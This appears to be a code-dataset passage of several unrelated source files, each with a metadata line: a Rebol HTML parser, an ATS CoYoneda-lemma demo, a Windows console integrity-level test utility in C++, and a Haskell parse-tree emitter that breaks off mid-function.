push append-element token
]
<h1> <h2> <h3> <h4> <h5> <h6> [
close-para-if-in-scope
if find header-elements current-node/name [
; error
pop-element
]
push append-element token
]
<pre> <listing> [
close-para-if-in-scope
push append-element token
]
<form> [
either document/form [
; error
][
close-para-if-in-scope
document/form: push append-element token
]
]
<li> [
nodes: :open-elements
forall nodes [
node: pick nodes 1
case [
node/name = 'li [
generate-implied-end-tags/thru li
break
]
find exclude specials [address div p] node/name [
break
]
]
]
close-para-if-in-scope
push append-element token
]
<dd> <dt> [
foreach node open-elements [
case [
node/name = 'dd [
generate-implied-end-tags/thru dd
break
]
node/name = 'dt [
generate-implied-end-tags/thru dt
break
]
find exclude specials [address div p] node/name [
break
]
]
]
close-para-if-in-scope
push append-element token
]
<plaintext> [
close-para-if-in-scope
html-tokenizer/use plaintext
push append-element token
]
<button> [
if find-in-scope button [
; error
close-thru button
]
reconstruct-formatting-elements
push append-element token
]
<a> [
if select-element open-elements 'a [
; error
do-token [end-tag a]
]
reconstruct-formatting-elements
push-formatting push append-element token
]
<nobr> [
reconstruct-formatting-elements
if find-in-scope nobr [
; error
do-token [end-tag nobr]
reconstruct-formatting-elements
]
push-formatting push append-element token
]
<b> <big> <code> <em> <font> <i> <s> <small> <strike> <strong> <tt> <u> [
reconstruct-formatting-elements
push-formatting push append-element token
]
<applet> <marquee> <object> [
reconstruct-formatting-elements
push append-element token
push-formatting to issue! token/2
]
<table> [
; unless document/quirks-mode [
close-para-if-in-scope
; ]
push append-element token
use in-table
]
<area> <br> <embed> <img> <keygen> <wbr> [
reconstruct-formatting-elements
append-element token
; acknowledge self-closing flag
]
<input> [
reconstruct-formatting-elements
append-element token
; acknowledge self-closing flag
]
<param> <source> <track> [
append-element token
]
<hr> [
close-para-if-in-scope
append-element token
; acknowledge self-closing flag
]
<image> [
; error
token/2: 'img
do-token token
]
<textarea> [
push append-element token
html-tokenizer/use/until rcdata form token/2
use/return text
]
<xmp> [
close-para-if-in-scope
reconstruct-formatting-elements
push append-element token
html-tokenizer/use/until rawtext form token/2
use/return text
]
<iframe> [
push append-element token
html-tokenizer/use/until rawtext form token/2
use/return text
]
<noembed> [
push append-element token
html-tokenizer/use/until rawtext form token/2
use/return text
]
<select> [
reconstruct-formatting-elements
push append-element token
either find [in-table in-caption in-table-body in-row in-cell] current-state-name [
use in-select-in-table
][
use in-select
]
]
<optgroup> <option> [
if current-node/name = 'option [
pop-element
]
reconstruct-formatting-elements
push append-element token
]
<rb> <rtc> [
if find-in-scope ruby [
generate-implied-end-tags
unless current-node/name = 'ruby [
; error
]
]
push append-element token
]
<rp> <rt> [
if find-in-scope ruby [
generate-implied-end-tags/except [rtc]
unless find [ruby rtc] current-node/name [
; error
]
]
push append-element token
]
<math> [
reconstruct-formatting-elements
; adjust-math-ml-attributes
; adjust-foreign-attributes
push append-element/namespace token mathml
if token 'self-closing [
pop-element
]
]
<svg> [
reconstruct-formatting-elements
; adjust-math-ml-attributes
; adjust-foreign-attributes
push append-element/namespace token svg
if find token 'self-closing [
pop-element
]
]
<caption> <col> <colgroup> <frame> <head> <tbody> <td> <tfoot> <th>
<thead> <tr> [
; error
]
</body> [
; error if a tag is open other than
; --list of tags--
use after-body
]
</html> [
; error if a tag is open other than
; --list of tags--
use after-body
do-token token
]
</address> </article> </aside> </blockquote> </button> </center> </details>
</dialog> </dir> </div> </dl> </fieldset> </figcaption> </figure> </footer>
</header> </hgroup> </listing> </main> </nav> </ol> </pre> </section> </summary>
</ul> [
either find-in-scope :token/2 [
close-thru :token/2
][
; error
]
]
</form> [
node: document/form
document/form: _
case [
blank? node [
; error
]
not same? node find-in-scope form [
; error
]
(
generate-implied-end-tags
same? node current-node
) [
pop-element
]
/else [
; error
if node: find-element open-elements node [
remove node
]
]
]
]
</p> [
unless find-in-scope/scope p button [
push append-element [tag p]
]
close-para-if-in-scope
]
</li> [
either find-in-scope/scope li list-item [
close-thru li
][
; error
]
]
</dd> </dt> [
either find-in-scope :token/2 [
close-thru :token/2
][
; error
]
]
</h1> </h2> </h3> </h4> </h5> </h6> [
either find-in-scope :header-elements [
generate-implied-end-tags
unless token/2 = current-node/name [
; error
]
close-thru :header-elements
][
; error
]
]
</a> </b> </big> </code> </em> </font> </i> </nobr> </s> </small> </strike> </strong>
</tt> </u> [
adopt token
]
</applet> </marquee> </object> [
either find-in-scope :token/2 [
close-thru :token/2
if mark: find/tail active-formatting-elements issue! [
remove/part active-formatting-elements mark
]
][
report 'end-tag-too-early token/2
]
]
tag [
reconstruct-formatting-elements
push append-element token
if find token 'self-closing [
pop-element
]
]
end-tag [
close-element token
]
end [
foreach node open-elements [
unless find [dd dt li p tbody td tfoot th thead tr body html] node/name [
report 'expected-closing-tag-but-got-eof
break
]
]
finish-up
]
comment [append-comment token]
]
text: [
"In Text"
space text [append-text token]
end-tag [
; possible alt <script> handler here
pop-element
use :return-state
return-state: _
]
end [
use :return-state
return-state: _
]
comment [append-comment token]
]
in-table: [
"In Table"
space text [
either find [table tbody tfoot thead tr] current-node/name [
insert pending-table-characters: make block! 4 ""
use/return in-table-text
do-token token
][
do-else token
]
]
doctype [
report 'unexpected-doctype
]
<caption> [
clear-stack-to-table
push-formatting #caption
push append-element token
use in-caption
]
<colgroup> [
clear-stack-to-table
push append-element token
use in-column-group
]
<col> [
clear-stack-to-table
push append-element [tag colgroup]
use in-column-group
do-token token
]
<tbody> <tfoot> <thead> [
clear-stack-to-table
push append-element token
use in-table-body
]
<td> <th> <tr> [
clear-stack-to-table
push append-element [tag tbody]
use in-table-body
do-token token
]
<table> [
report 'table-in-table
if find-in-scope/scope table table [
close-thru table
reset-insertion-mode
do-token token
]
]
<style> <script> <template> [
do-token/in token in-head
]
<input> [
either select any [token/3 []] "type" "hidden" [
; error
append-element token
; acknowledge-self-closing-flag token
][
do-else token
]
]
<form> [
; error
unless any [
select-element open-elements template
document/form
][
document/form: append-element token
]
]
</table> [
either find-in-scope/scope table table [
close-thru table
reset-insertion-mode
][
report 'no-table-in-scope
]
]
</body> </caption> </col> </colgroup> </html> </tbody> </td> </tfoot> </th> </thead> </tr> [
; error
]
</template> [
do-token/in token in-head
]
end [
do-token/in token in-body
]
tag end-tag else [
; error
fostering?: on
do-token/in token in-body
fostering?: off
]
comment [append-comment token]
]
in-table-text: [
"In Table Text"
space text [
append pending-table-characters token
]
doctype tag end-tag comment end [
either find next pending-table-characters string! [
report 'needs-fostering
do-else/in rejoin pending-table-characters in-table
pending-table-characters: _
use :return-state
do-token token
][
append-text rejoin pending-table-characters
use :return-state
do-token token
]
]
]
in-caption: [
"In Caption"
<caption> <col> <colgroup> <tbody> <td> <tfoot> <th> <thead> <tr>
</table> [
either find-in-scope/scope caption table [
generate-implied-end-tags/thru caption
pop-formatting #caption
use in-table
do-token token
][
; error
]
]
</caption> [
either find-in-scope/scope caption table [
generate-implied-end-tags/thru caption
pop-formatting #caption
use in-table
][
; error
]
]
</body> </col> </colgroup> </html> </tbody> </td> </tfoot> </th> </thead> </tr> [
; error
]
space text doctype tag end-tag comment end [
do-token/in token in-body
]
]
in-column-group: [
"In Column Group"
space [
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> end [
do-token/in token in-body
]
<col> [
append-element token
; acknowledge-self-closing-tag
]
</colgroup> [
either current-node/name = 'colgroup [
pop-element
use in-table
][
; error
]
]
</col> [
; error
]
<template> </template> [
do-token/in token in-head
]
text tag end-tag []
comment [append-comment token]
]
in-table-body: [
"In Table Body"
<tr> [
clear-stack-to-table/body
push append-element token
use in-row
]
<th> <td> [
; error
clear-stack-to-table/body
push append-element [tag tr]
use in-row
do-token token
]
</tbody> </tfoot> </thead> [
either find-in-scope/scope :token/2 table [
clear-stack-to-table/body
pop-element
use in-table
][
; error
]
]
<caption> <col> <colgroup> <tbody> <tfoot> <thead>
</table> [
either find-in-scope/scope [tbody tfoot thead] table [
clear-stack-to-table/body
pop-element
use in-table
do-token token
][
; error
]
]
</body> </caption> </col> </colgroup> </html> </td> </th> </tr> [
; error
]
space text doctype tag end-tag comment end [
do-token/in token in-table
]
]
in-row: [
"In Table Row"
<th> <td> [
clear-stack-to-table/row
push append-element token
use in-cell
push-formatting #cell
]
<tr> [
either find-in-scope/scope tr table [
clear-stack-to-table/row
pop-element
use in-table-body
][
; error
]
]
<caption> <col> <colgroup> <tbody> <tfoot> <thead> <tr>
</table> [
either find-in-scope/scope tr table [
clear-stack-to-table/row
pop-element
use in-table-body
do-token token
][
; error
]
]
</tbody> </tfoot> </thead> [
case [
not find-in-scope/scope [tbody tfoot thead] table [
; error
]
not find-in-scope/scope tr table []
/else [
clear-stack-to-table/row
pop-element
use in-table-body
do-token token
]
]
]
</body> </caption> </col> </colgroup> </html> </td> </th> [
; error
]
space text doctype tag end-tag comment end [
do-token/in token in-table
]
]
in-cell: [
"In Table Cell"
</td> </th> [
either find-in-scope/scope :token/2 table [
generate-implied-end-tags/thru [td th]
pop-formatting #cell
use in-row
][
; error
]
]
<caption> <col> <colgroup> <tbody> <td> <tfoot> <th> <thead> <tr> [
either find-in-scope/scope [td th] table [
generate-implied-end-tags/thru [td th]
pop-formatting #cell
use in-row
do-token token
][
; error
]
]
</body> </caption> </col> </colgroup> </html> [
; error
]
</table> </tbody> </tfoot> </thead> </tr> [
either find-in-scope/scope :token/2 table [
generate-implied-end-tags/thru [td th]
pop-formatting #cell
use in-row
do-token token
][
; error
]
]
space text doctype tag end-tag comment end [
do-token/in token in-body
]
]
in-select: [
"In Select"
space text [
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> [
do-token/in token in-body
]
<option> [
if current-node/name = 'option [
pop-element
]
push append-element token
]
<optgroup> [
if find [option optgroup] current-node/name [
pop-element
]
push append-element token
]
</optgroup> [
if all [
current-node/name = 'option
open-elements/2/name = 'optgroup
][
pop-element
]
either current-node/name = 'optgroup [
pop-element
][
; error
]
]
</option> [
either current-node/name = 'option [
pop-element
][
; error
]
]
</select> [
either find-in-scope/scope select select [
close-thru select
reset-insertion-mode
][
; error
]
]
<select> [
; error
if find-in-scope/scope select select [
close-thru select
reset-insertion-mode
]
]
<input> <keygen> <textarea> [
; error
if find-in-scope/scope select select [
close-thru select
reset-insertion-mode
do-token token
]
]
<script> <template> </template> [
do-token/in token in-head
]
end [
do-token/in token in-body
]
tag end-tag [
; error
]
comment [append-comment token]
]
in-select-in-table: [
"In Select (In Table)"
<caption> <table> <tbody> <tfoot> <thead> <tr> <td> <th> [
; error
close-thru select
reset-insertion-mode
do-token token
]
</caption> </table> </tbody> </tfoot> </thead> </tr> </td> </th> [
; error
if find-in-scope/scope :token/2 table [
clear-thru select
reset-insertion-mode
do-token token
]
]
space text doctype tag end-tag comment end [
do-token/in token in-select
]
]
after-body: [
"After Body"
space <html> [
do-token/in token in-body
]
doctype [
report 'unexpected-doctype
]
</html> [
use after-after-body
]
end [
finish-up
]
text tag end-tag [
; error
use body
do-token token
]
comment [
append-comment/to token last open-elements
]
]
in-frameset: [
"In Frameset"
space [
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> [
do-token/in token body
]
<frameset> [
push append-element token
]
</frameset> [
either current-node/name = 'html [
; error
][
pop-element
unless current-node/name = 'frameset [
use after-frameset
]
]
]
<frame> [
append-element token
; acknowledge-self-closing-flag
]
<noframes> [
do-token/in token in-head
]
end [
unless same? current-node last open-elements [
; error
]
finish-up
]
text tag end-tag [
; error
]
comment [append-comment token]
]
after-frameset: [
"After Frameset"
space [
append-text token
]
doctype [
report 'unexpected-doctype
]
<html> [
do-token/in token in-body
]
</html> [
use after-after-frameset
]
<noframes> [
do-token/in token in-head
]
end [
finish-up
]
text tag end-tag [
; error
use body
do-token token
]
comment [
append-comment token
]
]
after-after-body: [
"After After Body"
space doctype <html> [
do-token/in token in-body
]
end [
finish-up
]
text tag end-tag [
; error
use in-body
do-token token
]
comment [
append-comment/to token document
]
]
after-after-frameset: [
"After After Frameset"
space doctype <html> [
do-token/in token in-body
]
end [
finish-up
]
<noframes> [
do-token/in token in-head
]
text [
report 'expected-eof-but-got-char
]
tag [
report 'expected-eof-but-got-start-tag
]
end-tag [
report 'expected-eof-but-got-end-tag
]
comment [
append-comment/to token document
]
]
]
count-of: func [string [string!] /local lines chars mark last-mark][
lines: 0
mark: head string
loop-until [
last-mark: :mark
rgchris.markup/increment lines
any [
not mark: find next mark newline
negative? offset-of mark string
]
]
chars: offset-of last-mark string
rejoin ["(" lines "," chars ")"]
]
report: func [
type [word! string!]
; info
][
also type print unspaced ["** " count-of html-tokenizer/series ": " type]
]
current-state-name: current-state: return-state: state: last-state-name: token: _
use: func ['target [word!] /return][
last-state-name: :current-state-name
if return [return-state: :current-state-name]
current-state-name: target
; probe rejoin [<state: > target]
; probe token
state: current-state: any [
select states :target
do make error! rejoin ["No Such State: " uppercase form target]
]
state
]
do-token: func [this [block! char! string!] /in 'other [word!] /local target operative-state][
operative-state: _
if word? :other [
either find states other [
operative-state: select states other
][
do make error! rejoin ["No such state: " to tag! uppercase form other]
]
]
current-node: pick open-elements 1
state: any [:operative-state state]
target: case [
char? token ['space]
any [string? this char? this]['text]
not block? this [do make error! "Not A Token"]
all [
this/1 = 'tag
find state target: tagify this/2
][target]
all [
this/1 = 'end-tag
find state target: tagify/close this/2
][target]
this [this/1]
]
token: also token (
token: :this
switch :target state
)
state: current-state
_
]
do-else: func [this [block! char! string!] /in 'other [word!] /local operative-state][
operative-state: _
if word? :other [
either find states other [
operative-state: select states other
][
do make error! rejoin ["No such state: " to tag! uppercase form other]
]
]
state: any [:operative-state state]
current-node: pick open-elements 1
token: also token (
token: :this
switch 'else state
)
state: :current-state
_
]
load-html: func [source [string!]][
open-elements: make block! 12
active-formatting-elements: make block! 6
last-token: _
insertion-point: document: trees/new
document/head: document/body: document/form: _
insertion-type: 'append
current-state-name: current-state: return-state: state: last-state-name: _
use initial
html-tokenizer/init source ; /
func [current [block! char! string!]][
do-token token: :current
] ; /
func [type [word! string!]][
report :type html-tokenizer/series
]
html-tokenizer/start
document
]
]
load-html: get in rgchris.markup/load-html 'load-html
list-elements: function [node [map! block!]][
tags: rgchris.markup/references/tags
print "LIST ELEMENTS:"
trees/walk node [
this: :node
print to path! reverse collect [
while [this/type <> 'document][
keep either this/type = 'element [
this/name
][
any [
tags/(this/type)
this/type
]
]
this: this/parent
]
]
]
]
| Rebol | 5 | hostilefork/rgchris-scripts | experimental/markup.reb | [
"Apache-2.0"
] |
(* ****** ****** *)
//
// HX-2014-01
// CoYoneda Lemma:
//
(* ****** ****** *)
//
#include
"share/atspre_staload.hats"
//
(* ****** ****** *)
staload
"libats/ML/SATS/basis.sats"
staload
"libats/ML/SATS/list0.sats"
(* ****** ****** *)
staload _ = "libats/ML/DATS/list0.dats"
(* ****** ****** *)
sortdef ftype = type -> type
(* ****** ****** *)
infixr (->) ->>
typedef ->> (a:type, b:type) = a -<cloref1> b
(* ****** ****** *)
typedef
functor(F:ftype) =
{a,b:type} (a ->> b) ->> F(a) ->> F(b)
(* ****** ****** *)
typedef
list0 (a:type) = list0 (a)
extern
val functor_list0 : functor (list0)
(* ****** ****** *)
implement
functor_list0{a,b}
(f) = lam xs => list0_map<a><b> (xs, f)
(* ****** ****** *)
datatype
CoYoneda
(F:ftype, r:type) = {a:type} CoYoneda of (a ->> r, F(a))
// end of [CoYoneda]
(* ****** ****** *)
//
extern
fun CoYoneda_phi
: {F:ftype}functor(F) -> {r:type} (F (r) ->> CoYoneda (F, r))
extern
fun CoYoneda_psi
: {F:ftype}functor(F) -> {r:type} (CoYoneda (F, r) ->> F (r))
//
(* ****** ****** *)
implement
CoYoneda_phi(ftor) = lam (fx) => CoYoneda (lam x => x, fx)
implement
CoYoneda_psi(ftor) = lam (CoYoneda(f, fx)) => ftor (f) (fx)
(* ****** ****** *)
datatype int0 = I of (int)
datatype bool = True | False // boxed boolean
(* ****** ****** *)
//
fun bool2string
(x:bool): string =
(
case+ x of True() => "True" | False() => "False"
)
//
implement
fprint_val<bool> (out, x) = fprint (out, bool2string(x))
//
(* ****** ****** *)
fun int2bool (i: int0): bool =
let val+I(i) = i in if i > 0 then True else False end
(* ****** ****** *)
val myintlist0 = g0ofg1($list{int0}((I)1, (I)0, (I)1, (I)0, (I)0))
val myboolist0 = CoYoneda{list0,bool}{int0}(lam (i) => int2bool(i), myintlist0)
val myboolist0 = CoYoneda_psi{list0}(functor_list0){bool}(myboolist0)
(* ****** ****** *)
val ((*void*)) = fprintln! (stdout_ref, "myboolist0 = ", myboolist0)
(* ****** ****** *)
implement main0 () = ()
(* ****** ****** *)
(* end of [CoYonedaLemma.dats] *)
| ATS | 5 | JavascriptID/sourcerer-app | src/test/resources/samples/langs/ATS/CoYonedaLemma.dats | [
"MIT"
] |
// Copyright (c) Microsoft Corporation.
// Licensed under the MIT license.
#include <windows.h>
#include <wil/result.h>
#include <wil/tokenhelpers.h>
#include "util.h"
#include <cstdio>
#include <fstream>
#include <memory>
PCWSTR GetIntegrityLevel()
{
DWORD dwIntegrityLevel = 0;
// Get the Integrity level.
wistd::unique_ptr<TOKEN_MANDATORY_LABEL> tokenLabel;
THROW_IF_FAILED(wil::GetTokenInformationNoThrow(tokenLabel, GetCurrentProcessToken()));
dwIntegrityLevel = *GetSidSubAuthority(tokenLabel->Label.Sid,
(DWORD)(UCHAR)(*GetSidSubAuthorityCount(tokenLabel->Label.Sid) - 1));
switch (dwIntegrityLevel)
{
case SECURITY_MANDATORY_LOW_RID:
return L"Low Integrity\r\n";
case SECURITY_MANDATORY_MEDIUM_RID:
return L"Medium Integrity\r\n";
case SECURITY_MANDATORY_HIGH_RID:
return L"High Integrity\r\n";
case SECURITY_MANDATORY_SYSTEM_RID:
return L"System Integrity\r\n";
default:
return L"UNKNOWN INTEGRITY\r\n";
}
}
void WriteToConsole(_In_ PCWSTR pwszText)
{
DWORD dwWritten = 0;
WriteConsoleW(GetStdHandle(STD_OUTPUT_HANDLE),
pwszText,
(DWORD)wcslen(pwszText),
&dwWritten,
nullptr);
}
void FormatToConsole(_In_ PCWSTR pwszFunc, const BOOL bResult, const DWORD dwError)
{
std::unique_ptr<wchar_t[]> pwszBuffer = std::make_unique<wchar_t[]>(MAX_PATH);
THROW_IF_FAILED(StringCchPrintfW(pwszBuffer.get(), MAX_PATH, L"%s;%d;%d\r\n", pwszFunc, bResult, dwError));
WriteToConsole(pwszBuffer.get());
}
PCWSTR TryReadConsoleOutputW(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cCharInfos = 1;
std::unique_ptr<CHAR_INFO[]> rgCharInfos = std::make_unique<CHAR_INFO[]>(cCharInfos);
COORD coordBuffer;
coordBuffer.X = 1;
coordBuffer.Y = 1;
COORD coordRead = { 0 };
SMALL_RECT srReadRegion = { 0 };
SetLastError(0);
*pbResult = ReadConsoleOutputW(GetStdHandle(STD_OUTPUT_HANDLE),
rgCharInfos.get(),
coordBuffer,
coordRead,
&srReadRegion);
*pdwError = GetLastError();
return L"RCOW";
}
PCWSTR TryReadConsoleOutputA(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cCharInfos = 1;
std::unique_ptr<CHAR_INFO[]> rgCharInfos = std::make_unique<CHAR_INFO[]>(cCharInfos);
COORD coordBuffer;
coordBuffer.X = 1;
coordBuffer.Y = 1;
COORD coordRead = { 0 };
SMALL_RECT srReadRegion = { 0 };
SetLastError(0);
*pbResult = ReadConsoleOutputA(GetStdHandle(STD_OUTPUT_HANDLE),
rgCharInfos.get(),
coordBuffer,
coordRead,
&srReadRegion);
*pdwError = GetLastError();
return L"RCOA";
}
PCWSTR TryReadConsoleOutputCharacterW(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cchTest = 1;
std::unique_ptr<wchar_t[]> pwszTest = std::make_unique<wchar_t[]>(cchTest);
COORD coordRead = { 0 };
DWORD dwRead = 0;
SetLastError(0);
*pbResult = ReadConsoleOutputCharacterW(GetStdHandle(STD_OUTPUT_HANDLE),
pwszTest.get(),
cchTest,
coordRead,
&dwRead);
*pdwError = GetLastError();
return L"RCOCW";
}
PCWSTR TryReadConsoleOutputCharacterA(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cchTest = 1;
std::unique_ptr<char[]> pszTest = std::make_unique<char[]>(cchTest);
COORD coordRead = { 0 };
DWORD dwRead = 0;
SetLastError(0);
*pbResult = ReadConsoleOutputCharacterA(GetStdHandle(STD_OUTPUT_HANDLE),
pszTest.get(),
cchTest,
coordRead,
&dwRead);
*pdwError = GetLastError();
return L"RCOCA";
}
PCWSTR TryReadConsoleOutputAttribute(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cchTest = 1;
std::unique_ptr<WORD[]> rgwTest = std::make_unique<WORD[]>(cchTest);
COORD coordRead = { 0 };
DWORD dwRead = 0;
SetLastError(0);
*pbResult = ReadConsoleOutputAttribute(GetStdHandle(STD_OUTPUT_HANDLE),
rgwTest.get(),
cchTest,
coordRead,
&dwRead);
*pdwError = GetLastError();
return L"RCOAttr";
}
PCWSTR TryWriteConsoleInputW(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cInputRecords = 1;
std::unique_ptr<INPUT_RECORD[]> rgInputRecords = std::make_unique<INPUT_RECORD[]>(cInputRecords);
rgInputRecords[0].EventType = KEY_EVENT;
rgInputRecords[0].Event.KeyEvent.bKeyDown = TRUE;
rgInputRecords[0].Event.KeyEvent.dwControlKeyState = 0;
rgInputRecords[0].Event.KeyEvent.uChar.UnicodeChar = L'A';
rgInputRecords[0].Event.KeyEvent.wRepeatCount = 1;
rgInputRecords[0].Event.KeyEvent.wVirtualKeyCode = L'A';
rgInputRecords[0].Event.KeyEvent.wVirtualScanCode = L'A';
DWORD dwWritten = 0;
SetLastError(0);
*pbResult = WriteConsoleInputW(GetStdHandle(STD_INPUT_HANDLE),
rgInputRecords.get(),
cInputRecords,
&dwWritten);
*pdwError = GetLastError();
return L"WCIW";
}
PCWSTR TryWriteConsoleInputA(_Out_ BOOL* const pbResult,
_Out_ DWORD* const pdwError)
{
DWORD cInputRecords = 1;
std::unique_ptr<INPUT_RECORD[]> rgInputRecords = std::make_unique<INPUT_RECORD[]>(cInputRecords);
rgInputRecords[0].EventType = KEY_EVENT;
rgInputRecords[0].Event.KeyEvent.bKeyDown = TRUE;
rgInputRecords[0].Event.KeyEvent.dwControlKeyState = 0;
rgInputRecords[0].Event.KeyEvent.uChar.AsciiChar = 'A';
rgInputRecords[0].Event.KeyEvent.wRepeatCount = 1;
rgInputRecords[0].Event.KeyEvent.wVirtualKeyCode = L'A';
rgInputRecords[0].Event.KeyEvent.wVirtualScanCode = L'A';
DWORD dwWritten = 0;
SetLastError(0);
*pbResult = WriteConsoleInputA(GetStdHandle(STD_INPUT_HANDLE),
rgInputRecords.get(),
cInputRecords,
&dwWritten);
*pdwError = GetLastError();
return L"WCIA";
}
bool TestLibFunc()
{
WriteToConsole(GetIntegrityLevel());
PCWSTR pwszFuncName;
BOOL bResult;
DWORD dwError;
pwszFuncName = TryReadConsoleOutputW(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryReadConsoleOutputA(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryReadConsoleOutputCharacterW(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryReadConsoleOutputCharacterA(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryReadConsoleOutputAttribute(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryWriteConsoleInputA(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
pwszFuncName = TryWriteConsoleInputW(&bResult, &dwError);
FormatToConsole(pwszFuncName, bResult, dwError);
return true;
}
| C++ | 4 | RifasM/terminal | src/tools/integrity/lib/util.cpp | [
"MIT"
] |
"""The noaa_tides component."""
| Python | 0 | domwillcode/home-assistant | homeassistant/components/noaa_tides/__init__.py | [
"Apache-2.0"
] |
module EmitParseTree where
import Data.String.Utils (join)
-- EMISSION FUNCTIONS
-- Functions designed to take the output of a reduction from Derp lib,
-- destructure it using pattern matching, and output a string that is a like
-- a lispy AST.
--
-- Each is accompanied by an emit function that gives hints about how and why
-- the destructuring is happening. For example, `emitFuncdef` has `emitFuncdef'`
-- as a helper, and it takes `id`, `params`, and `body` as parameters, which
-- tells you a lot about how the destructuring works.
emitProgram :: (String,String) -> String
emitProgram (p, _) = emitProgram' p
emitProgram' :: String -> String
emitProgram' prog = joinStrs [header, prog, footer]
where header = "(program "
footer = ")"
emitFuncdef :: (String,(String,(String,(String,String)))) -> String
emitFuncdef (_, (id, (params, (_, body)))) = emitFuncdef' id params body
emitFuncdef' :: String -> String -> String -> String
emitFuncdef' id params body = joinStrs [header, wrappedBody, footer]
where header = join " " ["(def (" ++ id, params] ++ ") "
wrappedBody = "(" ++ body
footer = "))"
emitParams :: (String, (String, String)) -> String
emitParams (_, (ps, _)) = ps
emitParamList :: (String, String) -> String
emitParamList (s1, s2) = join " " [s1, s2]
emitRestOfParams :: (String,(String,String)) -> String
emitRestOfParams (_, (name, _)) = name
emitNl :: (String,String) -> String
emitNl (_, ln) = ln
emitLine :: (String,String) -> String
emitLine (sp, exp) = join " " [sp, exp]
emitSmallStmts :: (String, (String, String)) -> String
emitSmallStmts (_, (stmts, end)) = joinStrs [wrappedStmt, end]
where wrappedStmt = "(" ++ stmts ++ ") "
emitSimpleStmt :: (String, (String, (String, String))) -> String
emitSimpleStmt (st1, (st2, _)) = case (null st2) of
True -> "(" ++ st1 ++ ")"
False -> joinStrs [header, body, footer]
where header = "(begin (" ++ st1 ++ ") "
body = st2
footer = ")"
emitAssignStmt :: (String, (String, String)) -> String
emitAssignStmt (id, (_, rhs)) = joinStrs [lhs, rhs]
where lhs = "= (" ++ id ++ ")"
emitExprStmt :: String -> String
emitExprStmt st = joinStrs ["expr ", st]
emitAugAssignStmt :: (String, (String, String)) -> String
emitAugAssignStmt (exp,(aug,rhs)) = joinStrs [operator, lhs, rhs]
where operator = "\"" ++ aug ++ "\" "
lhs = "(" ++ exp ++ ") "
emitDelStmt :: (String,String) -> String
emitDelStmt (_, exp) = joinStrs ["del ", exp]
emitPassStmt :: String -> String
emitPassStmt _ = "pass"
emitBreakStmt :: String -> String
emitBreakStmt _ = "break"
emitContinueStmt :: String -> String
emitContinueStmt _ = "continue"
emitReturnStmt :: (String,String) -> String
emitReturnStmt (_, exp) = join " " ["return", exp]
emitGlobalStmt :: (String,(String,String)) -> String
emitGlobalStmt (_, (x, xs)) = joinStrs [global, exps]
where global = "global "
exps = join " " [x,xs]
emitRestOfIds :: (String,(String,String)) -> String
emitRestOfIds (_, (x, xs)) = join " " [x, xs]
emitNonlocalStmt :: (String,(String,String)) -> String
emitNonlocalStmt (_, (x, xs)) = joinStrs [nonlocal, exps]
where nonlocal = "nonlocal "
exps = join " " [x, xs]
emitRestTests :: (String,String) -> String
emitRestTests (_, tst) = tst
emitAssertStmt :: (String,(String,String)) -> String
emitAssertStmt (_, (exp1, exp2)) = joinStrs [assert, exps]
where assert = "assert "
exps = join " " [exp1,exp2]
emitIfStmt :: (String,(String,(String,(String,(String,String))))) -> String
emitIfStmt (_,(t,(_,(s,(elif,els))))) = (join " " [(join " " [("(cond (" ++ t ++ " (" ++ s ++ "))"), elif]) , els]) ++ ")"
emitElseClause :: (String,(String,String)) -> String
emitElseClause (_, (_, body)) = joinStrs [header, body, footer]
where header = "(else ("
footer = "))"
emitElifs :: (String,(String,(String,(String,String)))) -> String
emitElifs (_, (tk, (_, (cond, block)))) = join " " [header, block]
where wrappedCond = " (" ++ cond ++ ")"
header = "(" ++ tk ++ wrappedCond ++ ")"
emitWhileElseClause :: (String,(String,String)) -> String
emitWhileElseClause (_, (_, s)) = "(" ++ s ++ ")"
emitWhileStmt :: (String,(String,(String,(String,(String))))) -> String
emitWhileStmt (_,(t,(_,(s,(block))))) = body ++ footer
where header = "(while " ++ t ++ " (" ++ s ++ ")"
body = join " " [header, block]
footer = ")"
emitForElseClause :: (String,(String,String)) -> String
emitForElseClause (_, (_, block)) = "(" ++ block ++ ")"
emitForStmt :: (String,(String,(String,(String,(String,(String,String))))))
-> String
emitForStmt (_, (id, (_, (tst, (_, (stmts, els)))))) = joinStrs [forOpen,
forLoop,
forClose]
where forOpen = "(for "
forLoop = join " " [id, tst, "(", stmts, ")", els]
forClose = ")"
emitTryStmt :: (String,(String,(String,String))) -> String
emitTryStmt (_, (_, (exp, except))) = joinStrs [header, exp', except, footer]
where header = "(try ("
exp' = exp ++ ") "
footer = ")"
emitExceptClauses :: (String,(String,(String,String))) -> String
emitExceptClauses (exc, (_, (exp, bl))) = join " " [clause, bl]
where clause = "(" ++ exc ++ " (" ++ exp ++ "))"
emitExceptClause :: (String,String) -> String
emitExceptClause (_,bl) = joinStrs [except, bl, footer]
where except = "(except "
footer = ")"
emitSuite :: (String,(String,(String,String))) -> String
emitSuite (_, (_, (stm, _))) = joinStrs [suitek, stm]
where suitek = "suite "
emitStmts :: (String,String) -> String
emitStmts (st1, st2) = join " " [st1,st2]
emitExceptType :: (String,String) -> String
emitExceptType (tst, exps) = join " " [tst, exps]
emitExceptVars :: (String,String) -> String
emitExceptVars (_, v) = v
emitRaiseStmt :: (String,String) -> String
emitRaiseStmt (s1, s2) = join " " [s1, s2]
emitRaiseNewException :: (String,String) -> String
emitRaiseNewException (tp, frm) = join " " [tp, frm]
emitFromStmt :: (String,String) -> String
emitFromStmt (_, fr) = fr
emitLambdef :: (String,(String,(String,String))) -> String
